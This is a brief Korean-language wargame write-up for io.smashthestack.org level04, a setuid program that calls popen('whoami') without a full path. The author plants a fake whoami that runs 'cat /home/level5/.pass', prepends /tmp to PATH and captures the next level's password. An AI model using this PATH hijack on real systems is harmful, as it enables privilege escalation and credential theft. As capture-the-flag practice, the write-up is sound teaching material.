[io.smashthestack.org] level04

//writen by bla
#include <stdlib.h>
#include <stdio.h>

int main() 
{
        char username[1024];
        FILE* f = popen("whoami","r");
        fgets(username, sizeof(username), f);
        printf("Welcome %s", username);

        return 0;
}

푸는법을 생각하다가 $PATH환경변수 변조를 택함

/tmp/err0rless에 내가 만든 whoami를 만들면 popem으로 연  whoami가

내가 조작한 whoami로 실행될 것이다.

level4@io:/levels$ ls /tmp/err0rless

whoami  whoami.c

level4@io:/levels$ cat /tmp/err0rless/whoami.c

#include <stdio.h>

main() {

system("cat /home/level5/.pass");

}

level4@io:/levels$ export PATH=/tmp/err0rless:$PATH

level4@io:/levels$ echo $PATH

/tmp/err0rless:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

level4@io:/levels$ ./level04

Welcome LOoCy5PbKi63qXTh